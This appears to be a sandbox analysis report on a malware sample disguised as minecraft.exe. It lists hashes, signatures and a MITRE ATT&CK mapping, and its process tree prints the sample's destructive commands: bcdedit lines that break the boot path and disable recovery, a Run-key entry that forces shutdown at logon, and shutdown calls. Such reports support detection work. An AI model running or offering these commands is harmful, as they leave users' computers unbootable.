21926a2dd7a244cfb11c00965a03aa1b190254bbecca569a84f61cf07e5b9323

Analysis

user interaction
yes
max time kernel
63s
max time network
65s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
28/08/2026, 12:36

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Reason

Machine shutdown

General

Target
minecraft.exe
Size 441KB
Sample260828-pterfaxgrd
SHA256 21926a2dd7a244cfb11c00965a03aa1b190254bbecca569a84f61cf07e5b9323
MD5 b788dc4c35d62a9432b882f78e14aab9
SHA1 f80f898e16888b3e089a5a6ea8e5ebbc8cab6dc5
SHA512 2e011dd8407c4032809e5b3b473602df46978534a94b888c2765197ba3e62ef00accfcee9aa8815ff4f1fbe85ba229521828229c75b6ed77718d67429da2dd66
SSDEEP 6144:rXZlnAuutex+WySWB7piVAA2+QHwlPScwHi0abJBgFYIvU:ua+WySWAAj9CwWAvU
TLSH
T13CA46B66EB5548F9C2ABC13486A34510E775F81D4712DEDF1368422A6E23BD0AF3DFA0
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

evasion persistence ransomware

Malware Config

Signatures

Modifies boot configuration data using bcdedit 1 TTPs 3 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3280	bcdedit.exe
4576	bcdedit.exe
3408	bcdedit.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AutoShutdown = "shutdown /s /t 60 /f"	reg.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "35"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3440	shutdown.exe
Token: SeRemoteShutdownPrivilege	3440	shutdown.exe
Token: SeShutdownPrivilege	4944	shutdown.exe
Token: SeRemoteShutdownPrivilege	4944	shutdown.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4556	LogonUI.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3576 wrote to memory of 4576	3576	minecraft.exe	87
PID 3576 wrote to memory of 3280	3576	minecraft.exe	88
PID 3576 wrote to memory of 3408	3576	minecraft.exe	89
PID 3576 wrote to memory of 4572	3576	minecraft.exe	90
PID 3576 wrote to memory of 4944	3576	minecraft.exe	106

C:\Users\Admin\AppData\Local\Temp\minecraft.exe
"C:\Users\Admin\AppData\Local\Temp\minecraft.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3576
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {current} path \Windows\System32\winload_broken.exe
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4576
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {current} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3280
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {current} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3408
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AutoShutdown" /t REG_SZ /d "shutdown /s /t 60 /f" /f
  2⤵
  - Adds Run key to start application
  PID:4572
- C:\Windows\SYSTEM32\shutdown.exe
  shutdown /s /t 10
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4944

C:\Windows\system32\shutdown.exe
shutdown /s /t 60 /f
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3440

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3971055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:4556

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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